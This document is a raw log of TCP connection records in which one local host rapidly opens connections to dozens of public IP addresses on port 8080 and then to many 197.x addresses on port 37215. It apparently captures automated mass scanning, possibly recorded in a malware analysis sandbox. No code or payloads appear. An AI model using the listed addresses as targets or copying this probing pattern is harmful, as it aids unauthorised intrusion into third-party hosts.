Jan 26, 2025 01:43:30.268685102 CET	41010	8080	192.168.2.13	94.181.120.160
Jan 26, 2025 01:43:30.269061089 CET	57938	8080	192.168.2.13	85.95.49.32
Jan 26, 2025 01:43:30.269377947 CET	8080	59842	31.153.199.12	192.168.2.13
Jan 26, 2025 01:43:30.269617081 CET	36326	8080	192.168.2.13	94.151.149.80
Jan 26, 2025 01:43:30.269625902 CET	36326	8080	192.168.2.13	94.151.149.80
Jan 26, 2025 01:43:30.270483017 CET	36778	8080	192.168.2.13	94.151.149.80
Jan 26, 2025 01:43:30.271790028 CET	8080	39102	95.145.114.36	192.168.2.13
Jan 26, 2025 01:43:30.272130966 CET	40936	8080	192.168.2.13	85.96.127.48
Jan 26, 2025 01:43:30.272130966 CET	40936	8080	192.168.2.13	85.96.127.48
Jan 26, 2025 01:43:30.272684097 CET	41388	8080	192.168.2.13	85.96.127.48
Jan 26, 2025 01:43:30.273099899 CET	8080	57486	85.95.49.32	192.168.2.13
Jan 26, 2025 01:43:30.273663998 CET	50712	8080	192.168.2.13	62.111.47.186
Jan 26, 2025 01:43:30.273673058 CET	50712	8080	192.168.2.13	62.111.47.186
Jan 26, 2025 01:43:30.274173975 CET	51164	8080	192.168.2.13	62.111.47.186
Jan 26, 2025 01:43:30.274333000 CET	8080	36326	94.151.149.80	192.168.2.13
Jan 26, 2025 01:43:30.275260925 CET	55320	8080	192.168.2.13	31.102.59.167
Jan 26, 2025 01:43:30.275260925 CET	55320	8080	192.168.2.13	31.102.59.167
Jan 26, 2025 01:43:30.275871992 CET	55772	8080	192.168.2.13	31.102.59.167
Jan 26, 2025 01:43:30.276861906 CET	8080	40936	85.96.127.48	192.168.2.13
Jan 26, 2025 01:43:30.277390957 CET	8080	41388	85.96.127.48	192.168.2.13
Jan 26, 2025 01:43:30.277427912 CET	41388	8080	192.168.2.13	85.96.127.48
Jan 26, 2025 01:43:30.278203011 CET	34928	8080	192.168.2.13	95.124.15.222
Jan 26, 2025 01:43:30.278229952 CET	34928	8080	192.168.2.13	95.124.15.222
Jan 26, 2025 01:43:30.278398991 CET	8080	50712	62.111.47.186	192.168.2.13
Jan 26, 2025 01:43:30.279855013 CET	35376	8080	192.168.2.13	95.124.15.222
Jan 26, 2025 01:43:30.280000925 CET	8080	55320	31.102.59.167	192.168.2.13
Jan 26, 2025 01:43:30.280941963 CET	60452	8080	192.168.2.13	62.20.208.232
Jan 26, 2025 01:43:30.280941963 CET	60452	8080	192.168.2.13	62.20.208.232
Jan 26, 2025 01:43:30.281735897 CET	60898	8080	192.168.2.13	62.20.208.232
Jan 26, 2025 01:43:30.282656908 CET	52764	8080	192.168.2.13	95.152.151.175
Jan 26, 2025 01:43:30.282675028 CET	52764	8080	192.168.2.13	95.152.151.175
Jan 26, 2025 01:43:30.282984972 CET	8080	34928	95.124.15.222	192.168.2.13
Jan 26, 2025 01:43:30.283596992 CET	53208	8080	192.168.2.13	95.152.151.175
Jan 26, 2025 01:43:30.284708977 CET	45368	8080	192.168.2.13	62.166.149.238
Jan 26, 2025 01:43:30.284708977 CET	45368	8080	192.168.2.13	62.166.149.238
Jan 26, 2025 01:43:30.285686970 CET	8080	60452	62.20.208.232	192.168.2.13
Jan 26, 2025 01:43:30.285996914 CET	45810	8080	192.168.2.13	62.166.149.238
Jan 26, 2025 01:43:30.287024021 CET	45688	8080	192.168.2.13	94.204.123.255
Jan 26, 2025 01:43:30.287024021 CET	45688	8080	192.168.2.13	94.204.123.255
Jan 26, 2025 01:43:30.287466049 CET	8080	52764	95.152.151.175	192.168.2.13
Jan 26, 2025 01:43:30.287894011 CET	46124	8080	192.168.2.13	94.204.123.255
Jan 26, 2025 01:43:30.288314104 CET	8080	53208	95.152.151.175	192.168.2.13
Jan 26, 2025 01:43:30.288352013 CET	53208	8080	192.168.2.13	95.152.151.175
Jan 26, 2025 01:43:30.288738966 CET	55328	8080	192.168.2.13	95.73.167.125
Jan 26, 2025 01:43:30.288738966 CET	55328	8080	192.168.2.13	95.73.167.125
Jan 26, 2025 01:43:30.289076090 CET	55752	8080	192.168.2.13	95.73.167.125
Jan 26, 2025 01:43:30.289411068 CET	8080	45368	62.166.149.238	192.168.2.13
Jan 26, 2025 01:43:30.289772034 CET	57388	8080	192.168.2.13	95.46.197.94
Jan 26, 2025 01:43:30.289772034 CET	57388	8080	192.168.2.13	95.46.197.94
Jan 26, 2025 01:43:30.290695906 CET	57806	8080	192.168.2.13	95.46.197.94
Jan 26, 2025 01:43:30.291585922 CET	58240	8080	192.168.2.13	85.93.98.210
Jan 26, 2025 01:43:30.291608095 CET	58240	8080	192.168.2.13	85.93.98.210
Jan 26, 2025 01:43:30.291811943 CET	8080	45688	94.204.123.255	192.168.2.13
Jan 26, 2025 01:43:30.292093039 CET	58650	8080	192.168.2.13	85.93.98.210
Jan 26, 2025 01:43:30.293446064 CET	8080	55328	95.73.167.125	192.168.2.13
Jan 26, 2025 01:43:30.293766022 CET	45292	8080	192.168.2.13	62.142.130.200
Jan 26, 2025 01:43:30.293766022 CET	45292	8080	192.168.2.13	62.142.130.200
Jan 26, 2025 01:43:30.294517040 CET	8080	57388	95.46.197.94	192.168.2.13
Jan 26, 2025 01:43:30.294605017 CET	45698	8080	192.168.2.13	62.142.130.200
Jan 26, 2025 01:43:30.295412064 CET	40016	8080	192.168.2.13	95.177.164.118
Jan 26, 2025 01:43:30.295412064 CET	40016	8080	192.168.2.13	95.177.164.118
Jan 26, 2025 01:43:30.296283007 CET	40408	8080	192.168.2.13	95.177.164.118
Jan 26, 2025 01:43:30.296327114 CET	8080	58240	85.93.98.210	192.168.2.13
Jan 26, 2025 01:43:30.296717882 CET	53630	8080	192.168.2.13	31.118.72.24
Jan 26, 2025 01:43:30.296719074 CET	53630	8080	192.168.2.13	31.118.72.24
Jan 26, 2025 01:43:30.296894073 CET	8080	58650	85.93.98.210	192.168.2.13
Jan 26, 2025 01:43:30.296936035 CET	58650	8080	192.168.2.13	85.93.98.210
Jan 26, 2025 01:43:30.297368050 CET	54012	8080	192.168.2.13	31.118.72.24
Jan 26, 2025 01:43:30.298418045 CET	52872	8080	192.168.2.13	95.116.124.168
Jan 26, 2025 01:43:30.298489094 CET	52872	8080	192.168.2.13	95.116.124.168
Jan 26, 2025 01:43:30.298574924 CET	8080	45292	62.142.130.200	192.168.2.13
Jan 26, 2025 01:43:30.299408913 CET	53254	8080	192.168.2.13	95.116.124.168
Jan 26, 2025 01:43:30.300025940 CET	46336	8080	192.168.2.13	95.2.28.4
Jan 26, 2025 01:43:30.300025940 CET	46336	8080	192.168.2.13	95.2.28.4
Jan 26, 2025 01:43:30.300148010 CET	8080	40016	95.177.164.118	192.168.2.13
Jan 26, 2025 01:43:30.301556110 CET	8080	53630	31.118.72.24	192.168.2.13
Jan 26, 2025 01:43:30.302777052 CET	46718	8080	192.168.2.13	95.2.28.4
Jan 26, 2025 01:43:30.303153992 CET	8080	52872	95.116.124.168	192.168.2.13
Jan 26, 2025 01:43:30.303972960 CET	52774	8080	192.168.2.13	85.65.84.92
Jan 26, 2025 01:43:30.303987026 CET	52774	8080	192.168.2.13	85.65.84.92
Jan 26, 2025 01:43:30.304635048 CET	53146	8080	192.168.2.13	85.65.84.92
Jan 26, 2025 01:43:30.304757118 CET	8080	46336	95.2.28.4	192.168.2.13
Jan 26, 2025 01:43:30.305562019 CET	47444	8080	192.168.2.13	62.121.59.222
Jan 26, 2025 01:43:30.305562019 CET	47444	8080	192.168.2.13	62.121.59.222
Jan 26, 2025 01:43:30.306998968 CET	8080	40556	94.181.120.160	192.168.2.13
Jan 26, 2025 01:43:30.307010889 CET	8080	46768	31.201.75.177	192.168.2.13
Jan 26, 2025 01:43:30.307497025 CET	47808	8080	192.168.2.13	62.121.59.222
Jan 26, 2025 01:43:30.308038950 CET	50924	8080	192.168.2.13	95.210.161.36
Jan 26, 2025 01:43:30.308049917 CET	50924	8080	192.168.2.13	95.210.161.36
Jan 26, 2025 01:43:30.308794975 CET	8080	52774	85.65.84.92	192.168.2.13
Jan 26, 2025 01:43:30.309349060 CET	51276	8080	192.168.2.13	95.210.161.36
Jan 26, 2025 01:43:30.309389114 CET	8080	53146	85.65.84.92	192.168.2.13
Jan 26, 2025 01:43:30.309426069 CET	53146	8080	192.168.2.13	85.65.84.92
Jan 26, 2025 01:43:30.310271025 CET	8080	47444	62.121.59.222	192.168.2.13
Jan 26, 2025 01:43:30.311019897 CET	8080	59842	31.153.199.12	192.168.2.13
Jan 26, 2025 01:43:30.311642885 CET	38608	8080	192.168.2.13	31.192.133.214
Jan 26, 2025 01:43:30.311642885 CET	38608	8080	192.168.2.13	31.192.133.214
Jan 26, 2025 01:43:30.312438965 CET	38952	8080	192.168.2.13	31.192.133.214
Jan 26, 2025 01:43:30.312808037 CET	8080	50924	95.210.161.36	192.168.2.13
Jan 26, 2025 01:43:30.313762903 CET	51412	8080	192.168.2.13	95.125.247.170
Jan 26, 2025 01:43:30.313783884 CET	51412	8080	192.168.2.13	95.125.247.170
Jan 26, 2025 01:43:30.314707041 CET	51742	8080	192.168.2.13	95.125.247.170
Jan 26, 2025 01:43:30.314971924 CET	8080	36326	94.151.149.80	192.168.2.13
Jan 26, 2025 01:43:30.314995050 CET	8080	57486	85.95.49.32	192.168.2.13
Jan 26, 2025 01:43:30.315006018 CET	8080	39102	95.145.114.36	192.168.2.13
Jan 26, 2025 01:43:30.315813065 CET	49692	8080	192.168.2.13	95.121.127.222
Jan 26, 2025 01:43:30.315813065 CET	49692	8080	192.168.2.13	95.121.127.222
Jan 26, 2025 01:43:30.316375017 CET	8080	38608	31.192.133.214	192.168.2.13
Jan 26, 2025 01:43:30.316605091 CET	50012	8080	192.168.2.13	95.121.127.222
Jan 26, 2025 01:43:30.317167044 CET	49488	8080	192.168.2.13	85.56.94.70
Jan 26, 2025 01:43:30.317167044 CET	49488	8080	192.168.2.13	85.56.94.70
Jan 26, 2025 01:43:30.317231894 CET	8080	38952	31.192.133.214	192.168.2.13
Jan 26, 2025 01:43:30.317281008 CET	38952	8080	192.168.2.13	31.192.133.214
Jan 26, 2025 01:43:30.318120956 CET	49796	8080	192.168.2.13	85.56.94.70
Jan 26, 2025 01:43:30.318675041 CET	8080	51412	95.125.247.170	192.168.2.13
Jan 26, 2025 01:43:30.318989992 CET	8080	50712	62.111.47.186	192.168.2.13
Jan 26, 2025 01:43:30.319000006 CET	8080	40936	85.96.127.48	192.168.2.13
Jan 26, 2025 01:43:30.319894075 CET	33946	8080	192.168.2.13	95.67.120.208
Jan 26, 2025 01:43:30.319910049 CET	33946	8080	192.168.2.13	95.67.120.208
Jan 26, 2025 01:43:30.320638895 CET	8080	49692	95.121.127.222	192.168.2.13
Jan 26, 2025 01:43:30.321136951 CET	34246	8080	192.168.2.13	95.67.120.208
Jan 26, 2025 01:43:30.321902990 CET	8080	49488	85.56.94.70	192.168.2.13
Jan 26, 2025 01:43:30.322249889 CET	33954	8080	192.168.2.13	94.202.11.67
Jan 26, 2025 01:43:30.322249889 CET	33954	8080	192.168.2.13	94.202.11.67
Jan 26, 2025 01:43:30.322985888 CET	8080	55320	31.102.59.167	192.168.2.13
Jan 26, 2025 01:43:30.323276997 CET	34244	8080	192.168.2.13	94.202.11.67
Jan 26, 2025 01:43:30.324680090 CET	8080	33946	95.67.120.208	192.168.2.13
Jan 26, 2025 01:43:30.325067043 CET	33218	8080	192.168.2.13	31.89.122.105
Jan 26, 2025 01:43:30.325086117 CET	33218	8080	192.168.2.13	31.89.122.105
Jan 26, 2025 01:43:30.325815916 CET	33504	8080	192.168.2.13	31.89.122.105
Jan 26, 2025 01:43:30.326512098 CET	49452	8080	192.168.2.13	94.36.100.207
Jan 26, 2025 01:43:30.326525927 CET	49452	8080	192.168.2.13	94.36.100.207
Jan 26, 2025 01:43:30.326966047 CET	8080	60452	62.20.208.232	192.168.2.13
Jan 26, 2025 01:43:30.326977968 CET	8080	34928	95.124.15.222	192.168.2.13
Jan 26, 2025 01:43:30.327034950 CET	8080	33954	94.202.11.67	192.168.2.13
Jan 26, 2025 01:43:30.327358007 CET	49730	8080	192.168.2.13	94.36.100.207
Jan 26, 2025 01:43:30.328630924 CET	44200	8080	192.168.2.13	62.98.18.63
Jan 26, 2025 01:43:30.328643084 CET	44200	8080	192.168.2.13	62.98.18.63
Jan 26, 2025 01:43:30.329910994 CET	8080	33218	31.89.122.105	192.168.2.13
Jan 26, 2025 01:43:30.330297947 CET	44478	8080	192.168.2.13	62.98.18.63
Jan 26, 2025 01:43:30.330559969 CET	8080	33504	31.89.122.105	192.168.2.13
Jan 26, 2025 01:43:30.330609083 CET	33504	8080	192.168.2.13	31.89.122.105
Jan 26, 2025 01:43:30.330965042 CET	8080	45368	62.166.149.238	192.168.2.13
Jan 26, 2025 01:43:30.330976963 CET	8080	52764	95.152.151.175	192.168.2.13
Jan 26, 2025 01:43:30.331331968 CET	8080	49452	94.36.100.207	192.168.2.13
Jan 26, 2025 01:43:30.331828117 CET	54172	8080	192.168.2.13	31.195.142.132
Jan 26, 2025 01:43:30.331828117 CET	54172	8080	192.168.2.13	31.195.142.132
Jan 26, 2025 01:43:30.333175898 CET	54450	8080	192.168.2.13	31.195.142.132
Jan 26, 2025 01:43:30.333472013 CET	8080	44200	62.98.18.63	192.168.2.13
Jan 26, 2025 01:43:30.334816933 CET	47070	8080	192.168.2.13	95.159.17.131
Jan 26, 2025 01:43:30.334817886 CET	47070	8080	192.168.2.13	95.159.17.131
Jan 26, 2025 01:43:30.335690975 CET	47346	8080	192.168.2.13	95.159.17.131
Jan 26, 2025 01:43:30.336617947 CET	8080	54172	31.195.142.132	192.168.2.13
Jan 26, 2025 01:43:30.336776018 CET	46116	8080	192.168.2.13	94.110.195.238
Jan 26, 2025 01:43:30.336776018 CET	46116	8080	192.168.2.13	94.110.195.238
Jan 26, 2025 01:43:30.337883949 CET	46382	8080	192.168.2.13	94.110.195.238
Jan 26, 2025 01:43:30.338119030 CET	8080	54450	31.195.142.132	192.168.2.13
Jan 26, 2025 01:43:30.338665009 CET	54450	8080	192.168.2.13	31.195.142.132
Jan 26, 2025 01:43:30.338978052 CET	41888	8080	192.168.2.13	85.58.13.188
Jan 26, 2025 01:43:30.338978052 CET	41888	8080	192.168.2.13	85.58.13.188
Jan 26, 2025 01:43:30.339026928 CET	8080	57388	95.46.197.94	192.168.2.13
Jan 26, 2025 01:43:30.339039087 CET	8080	55328	95.73.167.125	192.168.2.13
Jan 26, 2025 01:43:30.339049101 CET	8080	45688	94.204.123.255	192.168.2.13
Jan 26, 2025 01:43:30.339059114 CET	8080	45292	62.142.130.200	192.168.2.13
Jan 26, 2025 01:43:30.339067936 CET	8080	58240	85.93.98.210	192.168.2.13
Jan 26, 2025 01:43:30.339620113 CET	8080	47070	95.159.17.131	192.168.2.13
Jan 26, 2025 01:43:30.339684010 CET	42146	8080	192.168.2.13	85.58.13.188
Jan 26, 2025 01:43:30.340866089 CET	41234	8080	192.168.2.13	94.226.196.207
Jan 26, 2025 01:43:30.340866089 CET	41234	8080	192.168.2.13	94.226.196.207
Jan 26, 2025 01:43:30.341742992 CET	41480	8080	192.168.2.13	94.226.196.207
Jan 26, 2025 01:43:30.342545033 CET	8080	46116	94.110.195.238	192.168.2.13
Jan 26, 2025 01:43:30.342648029 CET	49406	8080	192.168.2.13	94.133.95.115
Jan 26, 2025 01:43:30.342648029 CET	49406	8080	192.168.2.13	94.133.95.115
Jan 26, 2025 01:43:30.342930079 CET	8080	53630	31.118.72.24	192.168.2.13
Jan 26, 2025 01:43:30.342967987 CET	8080	40016	95.177.164.118	192.168.2.13
Jan 26, 2025 01:43:30.343096018 CET	49644	8080	192.168.2.13	94.133.95.115
Jan 26, 2025 01:43:30.343720913 CET	40104	8080	192.168.2.13	62.217.218.183
Jan 26, 2025 01:43:30.343720913 CET	40104	8080	192.168.2.13	62.217.218.183
Jan 26, 2025 01:43:30.343767881 CET	8080	41888	85.58.13.188	192.168.2.13
Jan 26, 2025 01:43:30.345397949 CET	40328	8080	192.168.2.13	62.217.218.183
Jan 26, 2025 01:43:30.345696926 CET	8080	41234	94.226.196.207	192.168.2.13
Jan 26, 2025 01:43:30.346190929 CET	59930	8080	192.168.2.13	62.80.103.35
Jan 26, 2025 01:43:30.346201897 CET	59930	8080	192.168.2.13	62.80.103.35
Jan 26, 2025 01:43:30.346900940 CET	60148	8080	192.168.2.13	62.80.103.35
Jan 26, 2025 01:43:30.347382069 CET	8080	49406	94.133.95.115	192.168.2.13
Jan 26, 2025 01:43:30.347976923 CET	53682	8080	192.168.2.13	95.248.89.70
Jan 26, 2025 01:43:30.347976923 CET	53682	8080	192.168.2.13	95.248.89.70
Jan 26, 2025 01:43:30.348381996 CET	53890	8080	192.168.2.13	95.248.89.70
Jan 26, 2025 01:43:30.348426104 CET	8080	40104	62.217.218.183	192.168.2.13
Jan 26, 2025 01:43:30.349633932 CET	56176	8080	192.168.2.13	95.112.168.152
Jan 26, 2025 01:43:30.349633932 CET	56176	8080	192.168.2.13	95.112.168.152
Jan 26, 2025 01:43:30.350122929 CET	56378	8080	192.168.2.13	95.112.168.152
Jan 26, 2025 01:43:30.350764036 CET	48008	8080	192.168.2.13	31.173.200.138
Jan 26, 2025 01:43:30.350764036 CET	48008	8080	192.168.2.13	31.173.200.138
Jan 26, 2025 01:43:30.351001978 CET	8080	40328	62.217.218.183	192.168.2.13
Jan 26, 2025 01:43:30.351016998 CET	8080	59930	62.80.103.35	192.168.2.13
Jan 26, 2025 01:43:30.351027012 CET	8080	46336	95.2.28.4	192.168.2.13
Jan 26, 2025 01:43:30.351042986 CET	40328	8080	192.168.2.13	62.217.218.183
Jan 26, 2025 01:43:30.351042986 CET	8080	52872	95.116.124.168	192.168.2.13
Jan 26, 2025 01:43:30.351052999 CET	8080	47444	62.121.59.222	192.168.2.13
Jan 26, 2025 01:43:30.351062059 CET	8080	52774	85.65.84.92	192.168.2.13
Jan 26, 2025 01:43:30.351540089 CET	48198	8080	192.168.2.13	31.173.200.138
Jan 26, 2025 01:43:30.352314949 CET	36744	8080	192.168.2.13	62.244.248.253
Jan 26, 2025 01:43:30.352540970 CET	36744	8080	192.168.2.13	62.244.248.253
Jan 26, 2025 01:43:30.352744102 CET	8080	53682	95.248.89.70	192.168.2.13
Jan 26, 2025 01:43:30.353044033 CET	36932	8080	192.168.2.13	62.244.248.253
Jan 26, 2025 01:43:30.353888988 CET	53914	8080	192.168.2.13	31.163.144.52
Jan 26, 2025 01:43:30.353888988 CET	53914	8080	192.168.2.13	31.163.144.52
Jan 26, 2025 01:43:30.354439974 CET	8080	56176	95.112.168.152	192.168.2.13
Jan 26, 2025 01:43:30.355463028 CET	54088	8080	192.168.2.13	31.163.144.52
Jan 26, 2025 01:43:30.355552912 CET	8080	48008	31.173.200.138	192.168.2.13
Jan 26, 2025 01:43:30.356239080 CET	8080	48198	31.173.200.138	192.168.2.13
Jan 26, 2025 01:43:30.356312037 CET	60460	8080	192.168.2.13	95.177.209.76
Jan 26, 2025 01:43:30.356323004 CET	60460	8080	192.168.2.13	95.177.209.76
Jan 26, 2025 01:43:30.357078075 CET	8080	36744	62.244.248.253	192.168.2.13
Jan 26, 2025 01:43:30.357091904 CET	48198	8080	192.168.2.13	31.173.200.138
Jan 26, 2025 01:43:30.357769012 CET	60628	8080	192.168.2.13	95.177.209.76
Jan 26, 2025 01:43:30.358613968 CET	8080	53914	31.163.144.52	192.168.2.13
Jan 26, 2025 01:43:30.358727932 CET	56908	8080	192.168.2.13	95.180.145.48
Jan 26, 2025 01:43:30.358727932 CET	56908	8080	192.168.2.13	95.180.145.48
Jan 26, 2025 01:43:30.358994007 CET	8080	50924	95.210.161.36	192.168.2.13
Jan 26, 2025 01:43:30.359005928 CET	8080	51412	95.125.247.170	192.168.2.13
Jan 26, 2025 01:43:30.359014988 CET	8080	38608	31.192.133.214	192.168.2.13
Jan 26, 2025 01:43:30.359333992 CET	57068	8080	192.168.2.13	95.180.145.48
Jan 26, 2025 01:43:30.360272884 CET	60476	8080	192.168.2.13	31.178.80.236
Jan 26, 2025 01:43:30.360272884 CET	60476	8080	192.168.2.13	31.178.80.236
Jan 26, 2025 01:43:30.360675097 CET	60630	8080	192.168.2.13	31.178.80.236
Jan 26, 2025 01:43:30.361062050 CET	8080	60460	95.177.209.76	192.168.2.13
Jan 26, 2025 01:43:30.361749887 CET	35870	8080	192.168.2.13	62.78.216.122
Jan 26, 2025 01:43:30.361749887 CET	35870	8080	192.168.2.13	62.78.216.122
Jan 26, 2025 01:43:30.362472057 CET	36016	8080	192.168.2.13	62.78.216.122
Jan 26, 2025 01:43:30.362960100 CET	8080	49488	85.56.94.70	192.168.2.13
Jan 26, 2025 01:43:30.362971067 CET	8080	49692	95.121.127.222	192.168.2.13
Jan 26, 2025 01:43:30.363425970 CET	59700	8080	192.168.2.13	85.28.44.59
Jan 26, 2025 01:43:30.363425970 CET	8080	56908	95.180.145.48	192.168.2.13
Jan 26, 2025 01:43:30.363435984 CET	59700	8080	192.168.2.13	85.28.44.59
Jan 26, 2025 01:43:30.364860058 CET	59840	8080	192.168.2.13	85.28.44.59
Jan 26, 2025 01:43:30.365010977 CET	8080	60476	31.178.80.236	192.168.2.13
Jan 26, 2025 01:43:30.366502047 CET	8080	35870	62.78.216.122	192.168.2.13
Jan 26, 2025 01:43:30.366874933 CET	38242	8080	192.168.2.13	95.21.145.118
Jan 26, 2025 01:43:30.366874933 CET	38242	8080	192.168.2.13	95.21.145.118
Jan 26, 2025 01:43:30.366942883 CET	8080	33946	95.67.120.208	192.168.2.13
Jan 26, 2025 01:43:30.368170023 CET	8080	59700	85.28.44.59	192.168.2.13
Jan 26, 2025 01:43:30.368204117 CET	38374	8080	192.168.2.13	95.21.145.118
Jan 26, 2025 01:43:30.369524002 CET	39938	8080	192.168.2.13	62.86.132.58
Jan 26, 2025 01:43:30.369535923 CET	39938	8080	192.168.2.13	62.86.132.58
Jan 26, 2025 01:43:30.369654894 CET	8080	59840	85.28.44.59	192.168.2.13
Jan 26, 2025 01:43:30.369699001 CET	59840	8080	192.168.2.13	85.28.44.59
Jan 26, 2025 01:43:30.369962931 CET	40068	8080	192.168.2.13	62.86.132.58
Jan 26, 2025 01:43:30.370341063 CET	59792	8080	192.168.2.13	94.73.236.43
Jan 26, 2025 01:43:30.370366096 CET	59792	8080	192.168.2.13	94.73.236.43
Jan 26, 2025 01:43:30.371129036 CET	59910	8080	192.168.2.13	94.73.236.43
Jan 26, 2025 01:43:30.371659040 CET	8080	38242	95.21.145.118	192.168.2.13
Jan 26, 2025 01:43:30.372169971 CET	41010	8080	192.168.2.13	94.181.120.160
Jan 26, 2025 01:43:30.372176886 CET	41388	8080	192.168.2.13	85.96.127.48
Jan 26, 2025 01:43:30.372176886 CET	53208	8080	192.168.2.13	95.152.151.175
Jan 26, 2025 01:43:30.372186899 CET	58650	8080	192.168.2.13	85.93.98.210
Jan 26, 2025 01:43:30.372210026 CET	53146	8080	192.168.2.13	85.65.84.92
Jan 26, 2025 01:43:30.372210026 CET	38952	8080	192.168.2.13	31.192.133.214
Jan 26, 2025 01:43:30.372227907 CET	40328	8080	192.168.2.13	62.217.218.183
Jan 26, 2025 01:43:30.372231007 CET	33504	8080	192.168.2.13	31.89.122.105
Jan 26, 2025 01:43:30.372231960 CET	54450	8080	192.168.2.13	31.195.142.132
Jan 26, 2025 01:43:30.372231960 CET	48198	8080	192.168.2.13	31.173.200.138
Jan 26, 2025 01:43:30.372240067 CET	59840	8080	192.168.2.13	85.28.44.59
Jan 26, 2025 01:43:30.372251034 CET	43536	8080	192.168.2.13	31.45.234.76
Jan 26, 2025 01:43:30.372261047 CET	43536	8080	192.168.2.13	31.45.234.76
Jan 26, 2025 01:43:30.372920990 CET	43650	8080	192.168.2.13	31.45.234.76
Jan 26, 2025 01:43:30.374455929 CET	8080	39938	62.86.132.58	192.168.2.13
Jan 26, 2025 01:43:30.374958992 CET	8080	33218	31.89.122.105	192.168.2.13
Jan 26, 2025 01:43:30.374969959 CET	8080	33954	94.202.11.67	192.168.2.13
Jan 26, 2025 01:43:30.374979019 CET	8080	44200	62.98.18.63	192.168.2.13
Jan 26, 2025 01:43:30.374986887 CET	8080	49452	94.36.100.207	192.168.2.13
Jan 26, 2025 01:43:30.375087976 CET	8080	59792	94.73.236.43	192.168.2.13
Jan 26, 2025 01:43:30.378865957 CET	8080	41010	94.181.120.160	192.168.2.13
Jan 26, 2025 01:43:30.378878117 CET	8080	41388	85.96.127.48	192.168.2.13
Jan 26, 2025 01:43:30.378887892 CET	8080	43536	31.45.234.76	192.168.2.13
Jan 26, 2025 01:43:30.378896952 CET	8080	53208	95.152.151.175	192.168.2.13
Jan 26, 2025 01:43:30.378906965 CET	8080	58650	85.93.98.210	192.168.2.13
Jan 26, 2025 01:43:30.378915071 CET	8080	53146	85.65.84.92	192.168.2.13
Jan 26, 2025 01:43:30.378923893 CET	41010	8080	192.168.2.13	94.181.120.160
Jan 26, 2025 01:43:30.378926992 CET	41388	8080	192.168.2.13	85.96.127.48
Jan 26, 2025 01:43:30.378931046 CET	8080	38952	31.192.133.214	192.168.2.13
Jan 26, 2025 01:43:30.378941059 CET	8080	40328	62.217.218.183	192.168.2.13
Jan 26, 2025 01:43:30.378950119 CET	8080	33504	31.89.122.105	192.168.2.13
Jan 26, 2025 01:43:30.378958941 CET	8080	54450	31.195.142.132	192.168.2.13
Jan 26, 2025 01:43:30.378967047 CET	8080	48198	31.173.200.138	192.168.2.13
Jan 26, 2025 01:43:30.378968000 CET	38952	8080	192.168.2.13	31.192.133.214
Jan 26, 2025 01:43:30.378973007 CET	53208	8080	192.168.2.13	95.152.151.175
Jan 26, 2025 01:43:30.378973007 CET	40328	8080	192.168.2.13	62.217.218.183
Jan 26, 2025 01:43:30.378976107 CET	8080	59840	85.28.44.59	192.168.2.13
Jan 26, 2025 01:43:30.378985882 CET	8080	43650	31.45.234.76	192.168.2.13
Jan 26, 2025 01:43:30.378994942 CET	58650	8080	192.168.2.13	85.93.98.210
Jan 26, 2025 01:43:30.379053116 CET	53146	8080	192.168.2.13	85.65.84.92
Jan 26, 2025 01:43:30.379056931 CET	59840	8080	192.168.2.13	85.28.44.59
Jan 26, 2025 01:43:30.379144907 CET	33504	8080	192.168.2.13	31.89.122.105
Jan 26, 2025 01:43:30.379148006 CET	54450	8080	192.168.2.13	31.195.142.132
Jan 26, 2025 01:43:30.379148006 CET	48198	8080	192.168.2.13	31.173.200.138
Jan 26, 2025 01:43:30.379367113 CET	43650	8080	192.168.2.13	31.45.234.76
Jan 26, 2025 01:43:30.379367113 CET	43650	8080	192.168.2.13	31.45.234.76
Jan 26, 2025 01:43:30.383074045 CET	8080	54172	31.195.142.132	192.168.2.13
Jan 26, 2025 01:43:30.383219957 CET	8080	46116	94.110.195.238	192.168.2.13
Jan 26, 2025 01:43:30.383229017 CET	8080	47070	95.159.17.131	192.168.2.13
Jan 26, 2025 01:43:30.384458065 CET	8080	43650	31.45.234.76	192.168.2.13
Jan 26, 2025 01:43:30.384502888 CET	43650	8080	192.168.2.13	31.45.234.76
Jan 26, 2025 01:43:30.390043020 CET	8080	41234	94.226.196.207	192.168.2.13
Jan 26, 2025 01:43:30.390054941 CET	8080	41888	85.58.13.188	192.168.2.13
Jan 26, 2025 01:43:30.397943974 CET	8080	40104	62.217.218.183	192.168.2.13
Jan 26, 2025 01:43:30.397954941 CET	8080	49406	94.133.95.115	192.168.2.13
Jan 26, 2025 01:43:30.397964954 CET	8080	56176	95.112.168.152	192.168.2.13
Jan 26, 2025 01:43:30.397974968 CET	8080	53682	95.248.89.70	192.168.2.13
Jan 26, 2025 01:43:30.397984028 CET	8080	59930	62.80.103.35	192.168.2.13
Jan 26, 2025 01:43:30.401842117 CET	8080	53914	31.163.144.52	192.168.2.13
Jan 26, 2025 01:43:30.401854992 CET	8080	36744	62.244.248.253	192.168.2.13
Jan 26, 2025 01:43:30.405929089 CET	8080	48008	31.173.200.138	192.168.2.13
Jan 26, 2025 01:43:30.405939102 CET	8080	60460	95.177.209.76	192.168.2.13
Jan 26, 2025 01:43:30.408149958 CET	8080	35870	62.78.216.122	192.168.2.13
Jan 26, 2025 01:43:30.408160925 CET	8080	60476	31.178.80.236	192.168.2.13
Jan 26, 2025 01:43:30.408169985 CET	8080	56908	95.180.145.48	192.168.2.13
Jan 26, 2025 01:43:30.411173105 CET	8080	59700	85.28.44.59	192.168.2.13
Jan 26, 2025 01:43:30.415170908 CET	8080	38242	95.21.145.118	192.168.2.13
Jan 26, 2025 01:43:30.415185928 CET	8080	39938	62.86.132.58	192.168.2.13
Jan 26, 2025 01:43:30.423163891 CET	8080	43536	31.45.234.76	192.168.2.13
Jan 26, 2025 01:43:30.423175097 CET	8080	59792	94.73.236.43	192.168.2.13
Jan 26, 2025 01:43:30.598181009 CET	47415	37215	192.168.2.13	197.161.59.133
Jan 26, 2025 01:43:30.598181009 CET	47415	37215	192.168.2.13	197.177.175.152
Jan 26, 2025 01:43:30.598181009 CET	47415	37215	192.168.2.13	197.240.109.65
Jan 26, 2025 01:43:30.598185062 CET	47415	37215	192.168.2.13	197.146.4.82
Jan 26, 2025 01:43:30.598201036 CET	47415	37215	192.168.2.13	197.107.94.142
Jan 26, 2025 01:43:30.598201990 CET	47415	37215	192.168.2.13	197.180.192.220
Jan 26, 2025 01:43:30.598210096 CET	47415	37215	192.168.2.13	197.127.211.39
Jan 26, 2025 01:43:30.598222971 CET	47415	37215	192.168.2.13	197.53.172.206
Jan 26, 2025 01:43:30.598222971 CET	47415	37215	192.168.2.13	197.14.86.161
Jan 26, 2025 01:43:30.598253965 CET	47415	37215	192.168.2.13	197.147.249.121
